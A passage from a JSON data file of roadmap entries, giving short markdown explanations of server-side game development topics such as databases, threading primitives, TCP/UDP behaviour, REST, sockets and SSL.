    "path": "src/data/roadmaps/server-side-game-developer/content/mongodb@HYxtPW401-J6aYcTuiGnx.md",
    "content": "# MongoDB\n\nMongoDB is a source-available NoSQL database program that uses a document-oriented database model. This model supports a variety of data types and enables you to store them in one place. MongoDB uses JSON-like documents coupled with optional schemas. What distinctly characterizes MongoDB is its scalability and flexibility that allow schemas to evolve with business needs. It can run over multiple servers, the data is duplicated to facilitate keeping the system up and the data available. Also, MongoDB supports rich queries through its powerful querying and aggregation tools. These capabilities encourage fast development and iterations. However, bear in mind that like any database, MongoDB is not a one-size-fit-all solution and understanding its best use cases is crucial for maximizing its benefits."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ms-sql@QMNUAKAuRI9lyf2_jUPsj.md",
    "content": "# MS SQL Server\n\nMicrosoft SQL Server (MSSQL) is a relational database management system (RDBMS) developed by Microsoft. MSSQL provides an environment used to generate databases that can be accessed from workstations, the internet, or other media such as a personal digital assistant (PDA). Basically, MSSQL is a server-based SQL repository that provides back-end storage for applications. It supports a wide variety of transaction processing, business intelligence and analytics applications in corporate IT environments. MSSQL has various editions with different features to fulfill users' requirements, ranging from a free edition, Express, to the comprehensive Enterprise edition."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/multithreading@3QSLUMKD0G08N3MIb1cG7.md",
    "content": "# Multithreading\n\nMultithreading, a specialized form of multitasking, is the ability of a central processing unit (CPU) to manage multiple executions of instructions concurrently. This essentially means that multiple threads or mini-processes are executing independently yet sharing the resources of a single CPU. In programming, threads are a way to improve the application responsiveness and perform multiple operations simultaneously without requiring multiple CPUs or computers. Threads within a process share the same data space with the main thread and can, therefore, communicate more quickly with each other than if they were separate processes. Developers often use multithreading in server-side game development to manage complex operations with high efficiency."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/multithreading@_jd91rrAXGbJI9RhXlSx8.md",
    "content": "# Multithreading\n\n`Multithreading 2` in game development usually refers to an advanced level of understanding, managing, and implementing multithreaded programming. At this stage, developers are expected to manage inter-thread communications and synchronization effectively. This includes mastering the use of mutexes, locks, semaphores, and condition variables. This level extends to the fine-tuning of performance and resolving complex issues such as race conditions, deadlocks, and starvation. Furthermore, it could cover advanced topics like thread-pools and executing modern multithreaded game architectures efficiently and safely. In multithreading 2, developers learn to leverage more concurrent computing power, thus making the server more performant and responsive."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/mutex@G_BEJKkJ1_Nc43aosy_iS.md",
    "content": "# Mutex\n\n`Mutex`, short for mutual exclusion, is a synchronization method used by developers to prevent multiple threads from concurrently accessing some shared resource or part of code. It is a locking mechanism that enforces limits to ensure that only one thread can perform certain operations at a time. If a `mutex` is locked by one thread, the other threads trying to lock it will be blocked until the owner thread unlocks it. This tool is essential especially in multi-threaded programming environments to avoid conditions like race conditions where the program's behavior may depend on the sequence of scheduling or timings of the threads."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/mysql@HsBqd08Ro0VJnx0FlumMQ.md",
    "content": "# MySQL\n\nMySQL is an open-source relational database management system (RDBMS) that uses SQL (Structured Query Language) to interact with data. It is developed, marketed, and supported by MySQL AB, a Swedish company, and is written in C and C++. Since it's open-source, you can use MySQL completely free of charge. MySQL is primarily used for online transactions and for consolidating data. You can install it on various platforms like Linux, Windows, macOS and so on. With its comprehensive set of features like support for full-text search, cursors, triggers, stored procedures, it is powerful enough to manage even very large sets of data, making it suitable for a vast range of applications, whether they be web-based or embedded.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/oorp@yWj70LpF4LKB8J6GbYvsq.md",
    "content": "# OORP\n\n**Object-Oriented Reactive Programming (OORP)** is a programming paradigm that combines object-oriented programming (OOP) and reactive programming. In OORP, developers design the system in terms of objects that communicate with each other through messages. These messages trigger functions or \"reactions\" in the receiving objects, hence the term \"reactive\". Each object in OORP encapsulates state and behavior, follows inheritance, and promotes data abstraction, similar to traditional OOP. However, OORP operates in a more event-driven manner, responding to external events, changes, or transactions that occur over time or in response to other objects."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ordered-vs-unordered@WMdCDmFsytsF2AWQXfzC8.md",
    "content": "# Ordered vs Not Ordered\n\nIn the context of TCP vs UDP, \"ordered\" and \"not ordered\" refers to the order in which packets are received. In TCP (Transmission Control Protocol), packets are ordered. This means that the packets of data are sent and received in the same order. For example, if packet 1, packet 2, and packet 3 are sent in that order, they will be delivered and read in that exact order whether, packet 2 takes longer to send or not. On the other hand, UDP (User Datagram Protocol) is not ordered. The packets of data are independent of each other. So, if packet 1, packet 2, and packet 3 are sent in that order, they could be received in a different order such as packet 2, packet 1, then packet 3. This happens because UDP doesn't re-order packets as TCP does."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/orm@OyxWMFy8s7Lxko_K89fjo.md",
    "content": "# ORM\n\nORM stands for Object-Relational Mapping. In server-side game development, ORM is a technique that lets you interact with your database, like you would with SQL. In other words, on the server side, you create classes in your programming language (e.g., Python, JavaScript, etc.) that map to the tables in the database. Each instance of a class represents a row in the respective table. ORM libraries and tools provide methods to perform CRUD (Create, Retrieve, Update, Delete) operations without having to write raw SQL statements. Popular examples of ORM tools include Sequelize for JavaScript, SQLAlchemy for Python, and Hibernate for Java."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/out-of-band-data@3OMu3RM-6pMjqY1jAmC2-.md",
    "content": "# Out-of-Band Data\n\n\"Out of band\" data, in the context of server-side game development, refers to data that is transmitted separately from the main data stream. This data is used for managing control information rather than actual game data, for instance, data regarding the status of the server, notifications about issues, or urgent commands. Given its importance, it's often designed to bypass any queueing or buffering systems to be delivered straight to the application, hence its name — it is \"out of band\" compared to the normal data transmissions in the game. Please note, out of band data needs proper handling to prevent potential vulnerabilities including security issues."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/packet-structure@CCxVnrGDKa1EROXgF_OAm.md",
    "content": "# Packet Structure\n\nUDP or User Datagram Protocol is designed to send messages known as datagrams over the network. The packet structure of UDP is relatively simple compared to other protocol types. Each UDP header consists of 4 fields, each of 2 bytes. These 4 fields are namely: Source Port, Destination Port, Length, and Checksum. The `Source Port` is for tracking responses and `Destination Port` is for delivering the datagram on the receiving end. The `Length` specifies the entire datagram size including the header and data while the `Checksum` is used to verify the integrity of the data and header."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/packet-vs-datagram@JE3uZ5U6oe6dVzsmglTl2.md",
    "content": "# Packet vs Datagram\n\n**Packet** and **Datagram** are terms used in data communication. \n\nA **Packet** is the most general term that just refers to the encapsulated data passed across networks. It is the generic term used to describe unit of data at all levels of the protocol stack. Packets include not just the data, but also headers and footers with control information, such as source and destination addresses, error checking codes, and sequencing information. \n\nOn the other hand, a **Datagram** is a specific type of data packet. It is an independent, self-contained message sent over the network whose arrival, arrival time, and content are not guaranteed. This term is particularly associated with the UDP (User Datagram Protocol), where each transmission unit is called a datagram. \n\nThe difference between packets and datagrams depends largely on the protocol being used to transmit the data. TCP (Transmission Control Protocol) data is typically referred to as a packet, whereas with UDP it is a datagram."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/postgresql@dAiEwN7phwMyaitvM5kRl.md",
    "content": "# PostgreSQL\n\n**PostgreSQL** is a powerful, open-source object-relational database system. It extends the SQL language combined with many features that safely store and scale the most complicated data workloads. The origins of PostgreSQL date back to 1986 as part of the POSTGRES project at the University of California at Berkeley. It has earned a strong reputation for its proven architecture, reliability, data integrity, robust feature set, extensibility, and the dedication of the open-source community behind the software to consistently deliver performant and innovative solutions. PostgreSQL runs on all major operating systems and has been ACID-compliant since 2001. It has powerful add-ons like the popular PostGIS geospatial database extender. It can handle ranges, array types and has extensive capabilities for developing at scale."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/proactor@Tvxe2NemcH21y-eB4bosv.md",
    "content": "# Proactor\n\nThe **Proactor** pattern is an event-driven application design pattern used in asynchronous programming, and is a variant of the Reactor Pattern, but with an important distinction in terms of control flow handling. Instead of the application explicitly triggering and managing operations, this responsibility is delegated to the asynchronous operation processor, also known as the proactor. The proactor initiates an asynchronous operation, and once the operation is complete, it determines the appropriate service to dispatch the completion event to. In other words, proactors are responsible for initiating asynchronous operations, while completion handlers are responsible for dictating what happens next, after the operations complete.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/programming-languages@6ilqzjvI4J1pUCmTJ33PA.md",
    "content": "# Programming Languages\n\nProgramming languages are an essential part of game development. They create the logic and rules for how your game operates. There are various types of programming languages that a server side game developer can use, such as C++, Python, Ruby, etc. These languages have different syntax and structures, as well as varying degrees of complexity. The complexity and capabilities can affect the game's performance, security, and even its potential compatibility with other platforms. Your choice of language often depends greatly on the specific needs of the project and your personal expertise. Picking up a new language can be time-consuming, so it's important to choose wisely. Markdown is another language that's popular for documentation due to its simplicity and readability, but it isn't typically used to code server-side game elements."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/programming-techniques@tGQu18PWDatW7HvkTP-uh.md",
    "content": "# Programming Techniques\n\nProgramming techniques are methods that are used to write series of instructions (code) that a computer can interpret and execute. There are many ways one can write code, unique to both the individual and the programming language they are using. Techniques such as Object-Oriented Programming (OOP) involve the use of encapsulated objects and inheritance. Functional Programming focuses on mathematical functions, avoiding changes in state and mutable data. Procedural Programming focuses on the process of executing predefined steps of functions to achieve the end result, while Event-Driven programming primarily acts upon user interactions, like mouse clicks or key presses. You can choose one technique depending on the game development requirements, the development team's competence, and preference."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/protobuf@w2zbab_6Gxw6AWS0N759U.md",
    "content": "# Protobuf\n\n`Protobuf`, or Protocol Buffers, is a method developed by Google for serializing structured data. It's both language-neutral and platform-neutral. Google designed it to be smaller and faster than XML. You design your data structures in `.proto` files, then use the Protobuf compiler `protoc` to generate data access classes in your chosen language. Google provides support for several languages including: Java, C++, Python, Objective-C, and C#. Community developed support for even more languages is also available. This gives `protobuf` a great deal of versatility, making it a popular choice for data storage and communication between services."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/pthread@HU0yUyl89WD8WnR9PJn7l.md",
    "content": "# pthread\n\n`Pthread` or POSIX threads is a standard-based thread programming library for multi-threading development. It provides several functions and methods to efficiently manage multiple threads in a program enhancing concurrency and parallelism. The library enables thread creation, thread joining and cancellation, thread-specific data, and synchronization including mutex locks, read/write locks, and condition variables. Notably, Pthread is an API for C/C++ programming language providing cross-platform support for Linux, Unix, and Windows systems. It's a fundamental tool for server-side game developers to create highly responsive and concurrent applications."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/pytorch@LTSIfq10qDJMTCnIIyqvb.md",
    "content": "# Pytorch\n\n**PyTorch** is an open-source machine learning library developed by Facebook Artificial Intelligence Research team for Python-based computation. This powerful tool emphasizes flexibility and allows users to manipulate Tensor computations with the convenience of deep neural networks built on a tape-based autodifferentiation system. It provides a great platform for implementing deep learning models and is very popular for understanding and expressing dynamic neural networks. PyTorch supports dynamic computational graphs, which means the graph structure can be modified during runtime. This is particularly useful while working with recurrent neural networks. It integrates seamlessly with the python data science stack to leverage the power of libraries such as NumPy."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/rabbitmq@UESjGrFyUbNf4pQamaBoy.md",
    "content": "# RabbitMQ\n\nRabbitMQ is an open-source message broker software that implements the Advanced Message Queuing Protocol (AMQP). It's designed to offer a common platform for passing messages between different parts of a system or between separate systems. RabbitMQ allows these parts to speak and understand each other even if they’re written in different programming languages or implemented on different platforms. RabbitMQ is not just limited to AMQP protocol but supports a variety of different messaging protocols including MQTT, STOMP, and more. Also, RabbitMQ is language agnostic, meaning it can be used with almost any programming language. In addition, it comes with a web user interface for managing and monitoring your RabbitMQ server. It's widely used in production systems around the world and can support large scale distributed systems as it supports clustering and fail-over.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reactive-approach@LVwGXmZhMewGQy61qwNyu.md",
    "content": "# Reactive Approach\n\nIn the realm of server-side game development, the reactive approach is an important element when dealing with multithreading. This approach is based on the concept of reacting to changes or events happening in the system rather than calling methods or running operations continuously. It incorporates observables, which are objects that represent a stream of data or a series of events, and observers, which are methods that respond to the events or changes in these observables. Reactive programming is based on the observer pattern and is designed to handle asynchronous data calls and events efficiently. This pattern is particularly relevant in situations with a large amount of data, high level of complexity, or stringent real-time requirements. With this approach, it is also simpler to handle concurrency and to write programs that are efficient, clean, and less prone to errors and callback pyramids."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reactive-approach@Vl-WW0LThrQTOO_tFl51B.md",
    "content": "# Reactive Approach"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reactive-model@p0P3ZGq_QTCop0vMwe7P3.md",
    "content": "# Reactive Model\n\nThe Reactive Model is an approach in server-side game development that positions the server as a responder to requests made by the client. In this model, the server is not running its own threads, but simply reacting to incoming requests from clients. It focuses on asynchronous I/O operations, meaning that the system doesn't stall or wait for data to be written or read. When the client sends a request, the server reacts by performing a specific action, like accepting a network connection or reading data. It is built around the idea of event-driven programming, where logic is coded against events, ideally resulting in highly scalable systems. It's often used in conjunction with non-blocking I/O models, such as Node.js or other event-driven architectures."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reactor@7mYpgn2gr-5vAYW-UR7_x.md",
    "content": "# Reactor\n\nThe **Reactor** is a design pattern that deals with synchronous I/O multiplexing. It is a part of the server side game development concept where it mainly handles service requests delivered concurrently to an application by one or more clients. The reactor allows multiple requests to be managed efficiently by the resources of a single thread. It uses an event loop and callbacks to control and manage all the different I/O streams. Often, Reactor is combined with the Proactor pattern to achieve concurrency and efficiency in utilizing system resources."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/redis@7YNaELVcoV7DV1Fa06USi.md",
    "content": "# Redis\n\n`Redis` is an open-source, in-memory data structure store that can be used as a database, a cache, and a message broker. It provides support for various data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, and more. Redis also allows atomic operations like appending to a string; increasing and decreasing hash, array and sorted sets values; computing set intersection, union and difference; and much more. An interesting feature of Redis is its ability to create transactions and also publish and subscribe to channels. It is a great choice for high-performance software like games because of its versatile nature and efficient performance."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/registered-io@94hJX1iGifDzIuaU3zU5j.md",
    "content": "# Registered I/O  \n\n**Registered I/O** is an optimization technique that enhances the performance of asynchronous \nI/O operations by pre-registering resources such as file descriptors, memory buffers, or \nnetwork sockets with the operating system. This reduces the overhead of repeated system calls \nand resource management, making it highly beneficial for server-side game development, where \nlow-latency and high-throughput are critical. Technologies like `io_uring` and Windows\n`RIO (Registered I/O)` API leverage this approach to minimize kernel interactions, improving \nefficiency for handling large-scale multiplayer game servers. By reducing context switching \nand memory allocation overhead, Registered I/O helps game servers achieve smoother performance \nand lower latency.  \n\nVisit the following resources to learn more:\n\n- [@documentation@Microsoft Registered I/O (RIO)](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh997032(v=ws.11))  "
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reliability@2jDV-ovvrkBbTTLk5VbR9.md",
    "content": "# Reliability\n\nThe **Reliability** in terms of IP (Internet Protocol) generally refers to the dependability and consistency of the network connections. It's essentially about how reliable the data transfer is over the network. IP itself is an unreliable protocol, meaning it doesn't guarantee the delivery of data packets. This is where protocols like TCP (Transmission Control Protocol) come in. TCP adds a layer of reliability to IP by ensuring the delivery of the data packets, ordering them correctly and error-checking. This ensures that game data synchronizes correctly across the server and clients without any loss, providing consistency and a smooth gameplay experience. However, the full guarantees of TCP come with some additional overhead; therefore, some games might prefer to use unreliable protocols when high performance is more critical than absolute reliability."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reliability@Vh81GnOUOZvDOlOyI5PwT.md",
    "content": "# Reliability\n\nReliability refers to how consistently a data packet can be transferred from one system to another over a network. In terms of the User Datagram Protocol (UDP), it has a lack of reliability built into it. This means UDP does not guarantee that your data will reach its destination, it merely sends the packets without any acknowledgement of receipt. Unlike its counterpart, Transmission Control Protocol (TCP), which implements error-checking mechanisms to ensure data integrity and delivery. In summary, if you require high reliability in your server side game development, protocols other than UDP might need to be considered."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reliable-transmission@X2KHWgQZDHSVDsTRMUwSj.md",
    "content": "# Reliable Transmission  \n\n**Reliable transmission** ensures that data sent over a network reaches its destination \naccurately and in the correct order, a critical requirement for server-side game development. \n`TCP` achieves this through mechanisms like acknowledgments (ACKs), sequence numbers, and \nretransmission strategies. When a packet is lost or corrupted, `TCP` retransmits it using \nalgorithms such as automatic repeat request (ARQ) and fast retransmit. Additionally, flow \ncontrol and congestion control work together to prevent data loss due to network congestion. \nReliable transmission is essential for maintaining synchronization in multiplayer games, \npreventing desynchronization issues, and ensuring a smooth gaming experience.  \n\nVisit the following resources to learn more:\n\n- [@article@Reliable Transmission](https://book.systemsapproach.org/direct/reliable.html)\n- [@article@TCP Reliable Transmission (IETF RFC 793)](https://datatracker.ietf.org/doc/html/rfc793)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/reliable-vs-unreliable@MoyBGT9bscUe8vMN4J0bG.md",
    "content": "# Reliable vs Unreliable\n\nIn the context of network communication, the terms \"reliable\" and \"unreliable\" refer to whether or not data sent across the network is guaranteed to reach its destination. Reliable protocols, such as TCP, ensure that data is delivered from sender to receiver without loss. They do this by establishing a connection, dividing data into packets, sending them one by one, and waiting for acknowledgment of receipt from the receiver. Each sent packet is numbered so if any packet doesn't reach the receiver, it will be identified by the missing sequence number and resent. In this way, reliable protocols ensure data integrity and order.\n\nOn the other hand, unreliable protocols, such as UDP, do not guarantee delivery. They simply transmit data without any checks to ensure it has been received. If a packet is dropped for any reason, it is not resent. These protocols do not establish a connection nor check for successful data transfer. This leads to potential data loss, but it provides a faster and more efficient transmission process which can be desirable in certain situations."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/resource-usage@LkGI0VpJ3WkpPHkJhJgWk.md",
    "content": "# Resource Usage\n\nIn server-side game development, **resource usage** broadly refers to how a game uses the server's computational power, memory, storage, and networking capabilities. These resources are crucial in assuring overall game performance and responsiveness. When monitoring resource usage, you typically pay attention to CPU usage, memory utilization, storage capacity, network bandwidth, and database performance. Server-side code must be developed and optimized with these resources in mind, as inefficient code can lead to increased resource usage, potentially causing lag, disconnections, or crashes. Key elements like scalable architecture and serverless technologies are primarily employed to efficiently manage and balance resource usage. Tools and automated solutions are commonly utilized to monitor and manage these resources in real-time, allowing developers to identify potential issues and optimize accordingly."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/rest@Oq3GQ5gBUxIl1Qe8NB3LB.md",
    "content": "# REST\n\nREST or Representational State Transfer is an architectural style used in web development. REST systems interact through standard operations on web resource's identified through URIs. It utilizes a stateless, client-server, cacheable communication protocol -- virtually always HTTP. In REST architecture, a client sends a request to the server in order to retrieve or modify data. This data can be identified by a URI and has a specific media type (JSON, XML etc). A key feature of REST is that it's stateless, meaning the server does not keep any data between two requests. While the client holds session state. REST is often used in mobile applications, social networking websites, and automated business processes."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/routing@bYb7nA-Vn9e6VtdbUT3tq.md",
    "content": "# Routing\n\nIn server-side game development, **routing** refers to the specification of how an application responds to a client request to a particular endpoint, which is a URI (or path) and a specific HTTP request method (GET, POST, etc.). Each route can have one or more handler functions, which are executed when the route is matched. These handler functions, often coming into play within complex multiplayer game scenarios, handle the logic needed for the route, including data transmission, game state updates, etc. The use of properly configured routes ensures the correct data is sent where it is needed, supporting seamless gameplay interactions."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/rpc--rest@YxaroYL_Az0vKRCeu2jsp.md",
    "content": "# RPC / REST\n\nRPC (Remote Procedure Call) and REST (Representational State Transfer) are two different approaches to client-server communication. RPC is a procedure-oriented service, where the client sends a request to the server invoking a specific procedure along with the parameters it needs to execute. The server-side program then processes these inputs and returns the result back to the client. On the other hand, REST is a resource-oriented architecture, leveraging standard HTTP methods like GET, POST, PUT, DELETE to perform operations. In REST, every single information or service is considered as a \"resource\".\n\nIn the context of game development, both RPC and REST can be used depending on the specific needs of the game and the underlying architecture that supports it. Both of them offer unique characteristics that make them suitable for different aspects or modules inside a game like character control, game state management, real-time networking, etc. While RPC might be more suited for real-time, fast communication, REST can be leveraged for independent, scalable, and stateless nature of its design. \n\nIn sum, RPC and REST terms come up frequently in server-side game development due to their importance in determining how your game will communicate between its different parts, especially in multiplayer environments. It is crucial to make the appropriate choice based on your game's requirements and desired user experience."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/security@qkO0s9zR0sAnjTRWcrLQY.md",
    "content": "# Security\n\nIn server-side game development, the aspect of IP (Internet Protocol) security is of paramount importance. This primarily involves ensuring the safety of online gaming interactions, protection of sensitive user data being transmitted, and thwarting possible cyber-attacks or threats. This might include mitigation strategies against DDoS (Distributed Denial of Service) attacks, which are common in multiplayer gaming environments, IP spoofing, and session hijacking. Security measures often involve developing secure server architectures, encryption of data in transit and at rest, validation and sanitization of user input, and implementing comprehensive security policies and procedures. Regular risk assessment and vulnerability scanning are also crucial for identifying and addressing potential security loopholes. Therefore, for any game developer, understanding IP security protocols and integrating them into game development processes is essential to provide users with trustworthy gaming environments."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/segment-structure@zTCmPUp9j5P1wpGgiboMa.md",
    "content": "# Segment Structure\n\nTCP (Transmission Control Protocol) uses a method called \"segmentation\" to manage data transmission. In this approach, TCP divides a stream of data into smaller parts, known as \"segments\". Each of these segments is then independently sent over the internet. A basic TCP segment consists of a header and the data section. The header contains various fields such as source port, destination port, sequence number, acknowledgment number, data offset, reserved section, control bit, window, checksum, urgent pointer, and options. The rest of the segment is occupied by the data transferred by TCP. Understanding the structure of these segments is crucial for understanding how TCP, and thereby much of the Internet, operates."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/select@5-5toy2CblZPCV9d5QPEo.md",
    "content": "# select  \n\n**select** is a multiplexing system call in Linux used for monitoring multiple file descriptors\nto check if they are ready for I/O operations. It is commonly used in server-side game \ndevelopment for handling multiple connections asynchronously. However, `select` has \nlimitations, as it scans all file descriptors linearly, making it inefficient for handling \na large number of concurrent connections. Despite its drawbacks, it remains useful for \nsimpler applications or legacy systems. Modern alternatives like `epoll` or `kqueue` offer \nbetter performance and scalability.  \n\nVisit the following resources to learn more:\n\n- [@documentation@Linux select API](https://man7.org/linux/man-pages/man2/select.2.html)\n- [@article@select vs epoll vs poll](https://devarea.com/linux-io-multiplexing-select-vs-poll-vs-epoll/)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/selective-ack@SPpOO25b7wpajWDIrKi1u.md",
    "content": "# Selective Acknowledgement\n\nSelective Acknowledgement (SACK) is a mechanism introduced in TCP to improve its efficiency in handling packet loss in the network. When TCP detects packet loss, it normally retransmits all packets sent after the lost packet, regardless of whether they were received successfully or not. SACK, however, allows the receiver to acknowledge non-consecutive packets, effectively informing the sender exactly which packets were received successfully and which weren't. By using this mechanism, TCP can selectively retransmit only those packets that were lost, saving bandwidth and improving overall performance."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/semaphore@DYvzGc_r0SlOArPPc1gNI.md",
    "content": "# Semaphores\r\n\r\n**Semaphores** are crucial synchronization mechanisms in server-side game development, ensuring controlled access to shared resources and \r\npreventing race conditions. They are widely used for managing concurrent processes, such as limiting the number of active players in a \r\nsession, regulating access to database connections, and synchronizing threads in physics or AI computations. By using semaphores, \r\ndevelopers can optimize performance by preventing resource starvation and contention. Implementing them correctly requires careful \r\nhandling to avoid deadlocks and ensure efficient thread scheduling. Commonly used in conjunction with mutexes and condition variables, \r\nsemaphores help maintain stability in high-performance multiplayer environments.\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@article@Semaphores in Process Synchronization](https://www.geeksforgeeks.org/semaphores-in-process-synchronization/)\r\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/serialization@TS6dz61rUSxm-SqmK6JKe.md",
    "content": "# Serialization\n\nSerialization in server-side game development is the process of transforming data objects or structures into a format that can be stored, transmitted, and reconstructed later. It's significant because it enables you to save the state of a game, pass it between servers, or send it to clients. The two main types of serialization are binary and XML/JSON. Binary serialization turns your objects into a very compact binary format. XML/JSON serialization turns your objects into a textual format, which is less efficient but more human-readable and easier to debug. Depending on your specific needs, you may choose one over the other. Note also that each of these methods has its own exacerbations in terms of compatibility, performance, and security implications."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/server-side-development@rQArtuVKGVgLn_fw9yO3b.md",
    "content": "# Server Side\n\nThe term \"server-side\" refers to operations that are performed by the server in a client-server relationship in a computer network. In games, the server-side is responsible for the logic and rules of the game, data persistence, security, and synchronization of the game state among all connected clients. It essentially handles all processing that isn't done on the client-side. Code run on the server-side can be written in various programming languages, but it's often in PHP, Ruby, Python, .NET, Java, or JavaScript (Node.js). Knowing server-side programming is critical for any game developer to create maintainable, scalable, and secure online games."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/serverless@DOmbRRK_RRPElOuTB7AAK.md",
    "content": "# Serverless\n\n**Serverless** is a cloud architecture model where the application developers don't have to provision, scale, and manage servers or runtimes, to build their applications. The name serverless comes from the idea that the tasks traditionally performed by a server are handled elsewhere, abstracting the responsibility of managing servers away from the developer. Developers can write and deploy code without worrying about the underlying infrastructure. A serverless model uses backends as a service (BaaS) and functions as a service (FaaS), providing automatic scaling, patching, and capacity provisioning. Popular examples of serverless providers are AWS Lambda, Google Cloud Functions, and Azure Functions."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/sharding@3use5vuLBJTk40wOg9S-X.md",
    "content": "# Sharding\n\nSharding is a type of database partitioning that separates very large databases into smaller, faster, more easily managed parts called data shards. The word shard means a small part of a whole. Each shard is held on a separate database server instance, to spread load and reduce the risk of a single point of failure. Sharding can be done on a horizontal or vertical basis. Horizontal Sharding, also known as data sharding, involves putting different rows onto different tables. Vertical Sharding, on the other hand, involves putting different columns onto different tables. It's possible to shard on the basis of certain columns, and databases can be sharded in many different ways. Sharding is a complex process, but proper planning can allow for increased scalability and performance improvements."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/socket-programming@HvpuFTCknHPhnFkhmhRc4.md",
    "content": "# Socket Programming\n\nSocket programming is a method of communication between two computers using a network protocol, typically TCP/IP. In server-side game development, socket programming is used to facilitate real-time, bi-directional communication between the server and client(s). The server opens a socket that waits for incoming connection requests from the client side. Once a connection is established, the server and client can exchange data until the connection is closed. This facilitates live multiplayer gaming experiences, allowing users on different computers to interact within the same game environment.```socket programming``` in Python, for example, includes modules for creating both the server side (```socketserver```) and client side (```socket```) of the conversation."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/spinlock@lVXfA_oZr82mFfBvLnnRK.md",
    "content": "# Spinlock\n\n`Spinlock` is a type of synchronization mechanism that exists in a busy-wait-state (essentially, 'spinning') until the lock can be acquired. This contrasts with other locking mechanisms that might put a thread to sleep if the desired lock is not available. It's generally used in scenarios where thread sleeping (context switching) could be costlier than spinning. However, it must be handled properly. An improperly managed spinlock can cause high CPU usage, as the wait is active; it continually consumes processing capacity. Hence, their usage is more beneficial in scenarios where the wait time to acquire a lock is reasonably short."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ssl@PSvPjaVtko71BeIA-hYqf.md",
    "content": "# SSL\n\nSecure Sockets Layer (SSL) is a security protocol which provides encrypted communication between a web browser and a web server. This protocol operates via a process where the SSL certificate, held by the web server, creates two cryptographic keys - a Public Key and a Private Key. The public key is placed into a Certificate Signing Request (CSR) - a file also containing detailed information about the web server and your organization. A certificate authority then validates these details and issue an SSL certificate for your web server. This SSL certificate contains the new, unique public key for your web's session data. When a browser connects to this web server and the SSL handshake is complete, an encrypted SSL session is established via the protocols of symmetric cryptography. It's noteworthy to mention that even though SSL has been succeeded by Transport Layer Security (TLS), people still refer to these certificates as SSL."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/streaming-vs-broadcast@pJw8fN1dt3BABtZVz7wGE.md",
    "content": "# Streaming vs Broadcast\n\nIn the context of network protocol, streaming and broadcasting are two methods for transmitting data packets. Streaming, often performed over TCP, entails sending data from one source to a single specific destination. This method is comparable to a one-to-one phone call. The streaming process is characterized by steady data transmission directly to a single receiver who has initiated a connection. On the contrary, broadcasting refers to the transmittal of data packets from one source to all possible destinations in the network. Similar to a public announcement over a loudspeaker, the data is sent to all receptive entities. Broadcasting primarily utilizes the UDP protocol and does not require a direct connection or acknowledgement of receipt from the recipients."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/synchronization@idmrgKgVWVLZYANbXiZnS.md",
    "content": "# Synchronization\n\nIn the context of multithreading, **synchronization** is a mechanism which ensures that two or more concurrent threads don't simultaneously execute some particular program segment known as a critical section. Concurrent accesses to shared resource can lead to race conditions. Two or more operating systems' threads can access shared data simultaneously. With synchronization, you can ensure that only one thread can access the shared resource at a time, hence avoiding any data inconsistency. Different synchronization techniques such as locks, semaphores, condition variables, monitors and signaling are used to deal with synchronization situations, each with its own pros and cons."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/synchrony@l5QTk408Ubagw8XzRAfoZ.md",
